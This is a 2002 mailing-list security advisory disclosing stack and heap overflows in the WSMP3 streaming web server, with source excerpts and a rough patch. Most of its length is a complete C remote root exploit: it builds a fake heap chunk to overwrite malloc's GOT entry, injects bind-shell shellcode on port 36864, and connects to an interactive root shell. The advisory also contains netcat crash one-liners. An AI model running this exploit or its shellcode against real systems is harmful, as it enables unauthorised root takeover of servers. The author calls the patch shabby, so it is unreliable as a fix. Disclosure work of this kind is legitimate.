Vulnwatch mailing list archives
Remote Heap malloc/free & multiple Overflow vulnerability in WSMP3.
From: "dong-h0un U" <xploit () hackermail com>
Date: Mon, 25 Nov 2002 16:34:31 +0800
========================================
INetCop Security Advisory #2002-0x82-006
========================================
* Title: Remote Heap malloc/free & multiple Overflow vulnerability in WSMP3.
0x01. Description
=-=-=-=-=-=-=-=-=
WSMP3d webserver or, is used by shoutcast-server.
This supports to hear mp3, is daemon that have webserver's function.
If examine 'src/web_server.c', can know that very many multiple overflows exist.
Among various kinds, explain representative 2 things.
main() function:
__
1360 int main(int argc, char *argv[],char *envp[])
...
1363 char recvBuffer[BUFSIZE]; // 32768
...
1526 i=recv(sock,recvBuffer,BUFSIZE,0);
...
1592 conn_req=parse_request(recvBuffer); // parse_request();
--
parse_request() function:
__
560 req_descriptor* parse_request(char *req)
...
563 char reqcpy[1024]; // 1024 ??
...
572 strcpy(reqcpy,req); // Overflow of stack base gets up.
573 ritorno->action=get_op(reqcpy); // get_op();
...
575 strcpy(reqcpy,req);
:
:
--
Stack overflow happens because use strcpy(). (arrangement 1024)
Next, let's see heap malloc()/free() bug.
get_op() function:
--
671 char* get_op(char *buf)
...
673 char* op;
674 int i;
675 if((op=(char *)malloc(10))==NULL)
...
684 while(buf[i]!=' ')
685 {
686 op[i]=buf[i]; // This part is very dangerous.
687 i++;
688 }
689 op[i]='\0';
...
692 return op;
--
That don't examine 0x20(' ') impatiently store.
See that is declared by malloc(10).
Now, they are going to achieve by next structure. (anticipation)
--------------------------------------------
get_op() -return(op)-> parse_request()
parse_request() -return(ritorno)-> conn_req
rem_req_descriptor(conn_req);
--------------------------------------------
rem_req_descriptor() function:
__
504 void rem_req_descriptor(req_descriptor *desc)
505 {
506 free(desc->action);
507 free(desc->what);
508 free(desc->host);
509 free(desc->agent);
510 free(desc->accept);
511 free(desc->lang);
512 free(desc->enc);
513 free(desc->charset);
514 free(desc->keep);
515 free(desc->conn);
516 free(desc->referer);
517 free(desc->pragma);
518 free(desc->contType);
519 free(desc->contLength);
520 free(desc->content);
521
522 free(desc);
--
They look like very interesting. So?
0x02. Vulnerable Packages
=-=-=-=-=-=-=-=-=-=-=-=-=
Vendor site: http://wsmp3.sourceforge.net/
{I sent mail to vendor. It may be newest correction version. (anticipation)}
web_server-0.0.6
-web_server-0.0.6.tar.gz
+RedHat Linux 6.x
web_server-0.0.5 (exploitable)
-web_server-0.0.5.tar.gz
web_server-0.0.4
-web_server-0.0.4.tar.gz
web_server-0.0.3
-web_server-0.0.3.tar.gz.gz
wsmp3-0.0.2
-web_server-0.0.2.tar.gz
web_server-v.0.0.1
-web_server.tar.gz
* I did not other version exploit test. but, It may be weak.
0x03. Exploit
=-=-=-=-=-=-=
It's simple test.
* Test -
First, execute wsmp3 server.
Do debug in other shell thereafter.
First, stack overflow test.
#1) Test attacker:
bash$ (echo "GET `perl -e 'print \"x\"x2000'`";cat)|nc 0 8000
#2) Debugging:
Program received signal SIGSEGV, Segmentation fault.
0x804a533 in parse_request ()
(gdb) where
#0 0x804a533 in parse_request ()
#1 0x78787878 in ?? ()
Cannot access memory at address 0x78787878.
(gdb)
Next, heap malloc()/free() overflow test.
#1) Test attacker:
bash$ (echo "x82-x0x-test";cat)|nc 0 8000
#2) Debugging:
Program received signal SIGSEGV, Segmentation fault.
0x4006fea4 in chunk_free (ar_ptr=0x40104040, p=0x805a720) at malloc.c:3036
3036 malloc.c: No such file or directory.
(gdb) where
#0 0x4006fea4 in chunk_free (ar_ptr=0x40104040, p=0x805a720) at malloc.c:3036
#1 0x4006fd75 in __libc_free (mem=0x805a728) at malloc.c:2959
#2 0x804a322 in rem_req_descriptor ()
#3 0x804f138 in main ()
#4 0x4002f1eb in __libc_start_main (main=0x804d3b4 <main>, argc=1,
argv=0xbffffc04, init=0x8048b74 <_init>, fini=0x804f42c <_fini>,
rtld_fini=0x4000a610 <_dl_fini>, stack_end=0xbffffbfc)
at ../sysdeps/generic/libc-start.c:90
(gdb)
Because of multiplex overflow, exploit is difficult.
Very angry. :-(
This's exploit code that prove.
This code attacks heap malloc()/free() only.
Through remote attack, get 'root' competence !
=== 0x82-Remote.wsmp3xpl.c ===
/*
**
** Proof of Concept WSMP3 Remote root exploit
** by Xpl017Elz
** __
** Testing exploit:
**
** bash$ ./0x82-Remote.wsmp3xpl -h localhost -p 8000
**
** Proof of Concept WSMP3 Remote root exploit
** by Xpl017Elz
**
** Try `./0x82-Remote.wsmp3xpl -?' for more information.
**
** [1] Make fake chunk.
** [2] Make shellcode.
** [3] Send exploit (bindshell) code.
** [4] Waiting, executes the shell !
** [5] Trying localhost:36864 ...
** [6] Connected to localhost:36864 !
**
** [*] Executed shell successfully !
**
** Linux xpl017elz 2.2.12-20kr #1 Tue Oct 12 16:46:36 KST 1999 i686 unknown
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),
** 6(disk),10(wheel)
** bash#
**
** GOT malloc address:
**
** bash$ objdump --dynamic-reloc web_server | grep malloc
** 08051bac R_386_JUMP_SLOT malloc
** bash$
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc () hotmail com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/
#include <stdio.h>
#include <unistd.h>
#include <getopt.h>
#include <netdb.h>
#include <netinet/in.h>
#define HOST "localhost"
#define PORT 8000
struct op_st
{
int num;
char *os;
unsigned long retloc;
unsigned long stkaddr;
unsigned long retaddr;
}; /* only test */
struct op_st pl_form[]={
{
0,
"RedHat Linux",
/* malloc */
0x08051bac,
/* stack address */
0xbfff7d18,
/* heap address */
0x0805b062
}
};
int setsock(char *hostname,int port);
void getshell(int sock);
void re_conenter(int sock);
void banrl(char *args);
void usage(char *args);
int setsock(char *hostname,int port)
{
int sock;
struct hostent *sxp;
struct sockaddr_in sxp_addr;
if((sxp=gethostbyname(hostname))==NULL)
{
herror("gethostbyname() error");
return(-1);
}
if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
{
perror("socket() error");
return(-1);
}
sxp_addr.sin_family=AF_INET;
sxp_addr.sin_port=htons(port);
sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr);
bzero(&(sxp_addr.sin_zero),8);
if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct sockaddr))==-1)
{
perror("connect() error");
return(-1);
}
return(sock);
}
void getshell(int sock)
{
int died;
char *command="uname -a; id; export TERM=vt100; exec bash -i\n";
char readbuf[1024];
fd_set rset;
memset(readbuf,0x00,1024);
fprintf(stdout," [*] Executed shell successfully !\n\n");
send(sock,command,strlen(command),0);
for(;;)
{
fflush(stdout);
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);
if(FD_ISSET(sock,&rset))
{
died=read(sock,readbuf,1024);
if(died<=0)
{
exit(0);
}
readbuf[died]=0;
printf("%s",readbuf);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
died=read(STDIN_FILENO,readbuf,1024);
if(died>0)
{
readbuf[died]=0;
write(sock,readbuf,died);
}
}
}
return;
}
void re_conenter(int sock)
{
if(sock==-1)
{
fprintf(stdout," [-] Failed.\n\n");
fprintf(stdout," Happy Exploit ! :-)\n\n");
exit(-1);
}
}
int main(int argc,char *argv[])
{
int at_sock;
int ts_sock;
int port=PORT;
int roup;
char ttatk_code[36864];
char hostname[0x82]=HOST;
char main_str[] = /* BIND SHELL ON PORT TCP/36864 */
//------------------- main: -------------------//
"\xeb\x72" /* jmp callz */
//------------------- start: ------------------//
"\x5e" /* popl %esi */
//------------------ socket() -----------------//
"\x29\xc0" /* subl %eax, %eax */
"\x89\x46\x10" /* movl %eax, 0x10(%esi) */
"\x40" /* incl %eax */
"\x89\xc3" /* movl %eax, %ebx */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\x40" /* incl %eax */
"\x89\x46\x08" /* movl %eax, 0x08(%esi) */
"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */
"\xb0\x66" /* movb $0x66, %al */
"\xcd\x80" /* int $0x80 */
//------------------- bind() ------------------//
"\x43" /* incl %ebx */
"\xc6\x46\x10\x10" /* movb $0x10, 0x10(%esi) */
"\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */
"\x88\x46\x08" /* movb %al, 0x08(%esi) */
"\x29\xc0" /* subl %eax, %eax */
"\x89\xc2" /* movl %eax, %edx */
"\x89\x46\x18" /* movl %eax, 0x18(%esi) */
"\xb0\x90" /* movb $0x90, %al */
"\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */
"\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */
"\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */
"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */
"\xb0\x66" /* movb $0x66, %al */
"\xcd\x80" /* int $0x80 */
//------------------ listen() -----------------//
"\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */
"\x43" /* incl %ebx */
"\x43" /* incl %ebx */
"\xb0\x66" /* movb $0x66, %al */
"\xcd\x80" /* int $0x80 */
//------------------ accept() -----------------//
"\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */
"\x89\x56\x10" /* movl %edx, 0x10(%esi) */
"\xb0\x66" /* movb $0x66, %al */
"\x43" /* incl %ebx */
"\xcd\x80" /* int $0x80 */
//---- dup2(s, 0), dup2(s, 1), dup2(s, 2) -----//
"\x86\xc3" /* xchgb %al, %bl */
"\xb0\x3f" /* movb $0x3f, %al */
"\x29\xc9" /* subl %ecx, %ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f, %al */
"\x41" /* incl %ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f, %al */
"\x41" /* incl %ecx */
"\xcd\x80" /* int $0x80 */
//------------------ execve() -----------------//
"\x88\x56\x07" /* movb %dl, 0x07(%esi) */
"\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */
"\xb0\x0b" /* movb $0x0b, %al */
"\xcd\x80" /* int $0x80 */
//------------------- callz: ------------------//
"\xe8\x89\xff\xff\xff" /* call start */
"/bin/sh"; /* 128byte */
#define plus_4str(x0x) x0x+=4
int x0x_num=0;
int x0x_size=0;
#define BUF_LEN 1024
char *debug_test;
char code_128len[BUF_LEN];
char x82_16x0x[]={ /* 16byte */
0x82,0x82,0x82,0x82,0x82,
0x82,0x82,0x82,0x82,0x82,
0x82,0x82,0x82,0x82,0x82,
0x82
};
char nop_n_jump[4]={0x41,0xeb,0x0c,0x42};
int nop_12jump=0;
int ok_cont=0;
int target_type_number=0;
char p_rev_size[4]={0xff,0xff,0xff,0xfc}; /* chunk size */
char size_fd[4]={0xff,0xff,0xff,0xff}; /* data section size */
char atk_chunk[BUF_LEN];
unsigned long retloc=pl_form[target_type_number].retloc;
unsigned long retaddr=pl_form[target_type_number].retaddr;//.stkaddr;
memset(ttatk_code,0x00,36864);
memset(atk_chunk,0x00,BUF_LEN);
memset(code_128len,0x00,BUF_LEN);
(void)banrl(argv[0]);
while((roup=getopt(argc,argv,"R:r:S:s:H:h:P:p:"))!=EOF)
{
switch(roup)
{
case 'R':
case 'r':
retloc=strtoul(optarg,NULL,0);
break;
case 'S':
case 's':
retaddr=strtoul(optarg,NULL,0);
break;
case 'H':
case 'h':
memset(hostname,0x00,0x82);
strncpy(hostname,optarg,0x82);
break;
case 'P':
case 'p':
port=atoi(optarg);
break;
case '?':
(void)usage(argv[0]);
break;
}
}
//--- make fake chunk ---//
fprintf(stdout," [1] Make fake chunk.\n");
for(x0x_num=0;x0x_num<strlen(x82_16x0x);x0x_num++)
atk_chunk[x0x_num]=x82_16x0x[x0x_num];
*(long*)&atk_chunk[x0x_num]=0xfffffffc; // prev_size
plus_4str(x0x_num);
*(long*)&atk_chunk[x0x_num]=0xffffffff; // size(P)
plus_4str(x0x_num);
*(long*)&atk_chunk[x0x_num]=retloc-0x0c; // Forward pointer
plus_4str(x0x_num);
*(long*)&atk_chunk[x0x_num]=retaddr; // Back pointer
plus_4str(x0x_num);
//--- make code ---//
fprintf(stdout," [2] Make shellcode.\n");
for(nop_12jump=0;nop_12jump<0x190;plus_4str(nop_12jump))
*(long*)&code_128len[nop_12jump]=0x41eb0c42;
for(x0x_num=0,ok_cont=nop_12jump;x0x_num<strlen(main_str);x0x_num++)
code_128len[ok_cont++]=main_str[x0x_num];
//--- fake chunk + 0x20 + (nop + 12byte jmpcode + nop + shellcode) ---//
snprintf(ttatk_code,36864,
"%s%s%s\r\n",atk_chunk,"\x20",code_128len);
fprintf(stdout," [3] Send exploit (bindshell) code.\n");
{ // Try two times connections. It's Point. :-)
/* 1 */
at_sock=setsock(hostname,port);
re_conenter(at_sock);
send(at_sock,ttatk_code,strlen(ttatk_code),0);
close(at_sock);
/* 2 */
at_sock=setsock(hostname,port);
re_conenter(at_sock);
send(at_sock,ttatk_code,strlen(ttatk_code),0);
}
fprintf(stdout," [4] Waiting, executes the shell !\n");
sleep(3);
fprintf(stdout," [5] Trying %s:36864 ...\n",hostname);
/* 3 */
ts_sock=setsock(hostname,36864);
re_conenter(ts_sock);
fprintf(stdout," [6] Connected to %s:36864 !\n\n",hostname);
// Execute bash shell
getshell(ts_sock);
}
void usage(char *args)
{
fprintf(stderr,"\n Default Usage: %s -[option] [arguments]\n\n",args);
fprintf(stderr,"\t -h [hostname] - target host\n");
fprintf(stderr,"\t -p [port] - port number\n");
fprintf(stderr,"\t -r [addr] - retloc addr (GOT malloc)\n");
fprintf(stderr,"\t -s [addr] - &shellcode addr\n");
fprintf(stderr," Example: %s -h localhost -p 8000\n",args);
fprintf(stdout,"\n Happy Exploit !\n\n");
exit(0);
}
void banrl(char *args)
{
fprintf(stdout,"\n Proof of Concept WSMP3 Remote root exploit");
fprintf(stdout,"\n by Xpl017Elz\n\n");
fprintf(stdout," Try `%s -?' for more information.\n\n",args);
}
=== eof ===
0x04. Patch
=-=-=-=-=-=
This is very shabby patch.
Download new version later.
=== web_server.patch ===
--- web_server.c Tue Nov 12 03:30:21 2002
+++ web_server.patch.c Mon Nov 18 12:26:28 2002
@@ -569,51 +569,51 @@
}
else init_req_descriptor(ritorno);
- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
ritorno->action=get_op(reqcpy);
- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
if(!strcmp(ritorno->action,"CHA")) ritorno->what=nomefile(reqcpy,1) ;
else ritorno->what=nomefile(reqcpy,0);
- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
ritorno->host=gimme_line(reqcpy,"Host: ");
- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
ritorno->agent=gimme_line(reqcpy,"User-Agent: ");
- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
ritorno->accept=gimme_line(reqcpy,"Accept: ");
- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
ritorno->lang=gimme_line(reqcpy,"Accept-Language: ");
- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
ritorno->enc=gimme_line(reqcpy,"Accept-Encoding: ");
- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
ritorno->charset=gimme_line(reqcpy,"Accept-Charset: ");
- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
ritorno->keep=gimme_line(reqcpy,"Keep-Alive: ");
- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
ritorno->conn=gimme_line(reqcpy,"Connection: ");
- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
ritorno->referer=gimme_line(reqcpy,"Referer: ");
- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
ritorno->pragma=gimme_line(reqcpy,"Pragma: ");
- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
ritorno->contType=gimme_line(reqcpy,"Content-Type: ");
- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
ritorno->contLength=gimme_line(reqcpy,"Content-Length: ");
- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
ritorno->content=gimme_content(reqcpy);
return ritorno;
}
@@ -671,25 +671,21 @@
char* get_op(char *buf)
{
char* op;
+ char* method;
int i;
if((op=(char *)malloc(10))==NULL)
{
printf("Not enough memory!\n");
exit(1);
}
- if(buf!=NULL && (strlen(buf)>=3))
+ if(buf[0]==0x20)
{
- //strncpy(op,buf,3);
- i=0;
- while(buf[i]!=' ')
- {
- op[i]=buf[i];
- i++;
- }
- op[i]='\0';
+ buf[0]='\n';
}
- else op=NULL;
- return op;
+ buf[strlen(buf)]=' ';
+ strncpy(op,buf,10-1);
+ method=(char*)strtok(op," ");
+ return method;
}
=== eof ===
P.S: Sorry, for my poor english.
Akcess! He's a person who found first zeroo dir traversal vulnerability than anyone.
I'm sorry at his job.
--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.
MSN & E-mail: szoahc(at)hotmail(dot)com,
xploit(at)hackermail(dot)com
INetCop Security Home: http://www.inetcop.org (Korean hacking game)
My World: http://x82.i21c.net & http://x82.inetcop.org
GPG public key: http://wizard.underattack.co.kr/~x82/h0me/pr0file/x82.k3y
--
--
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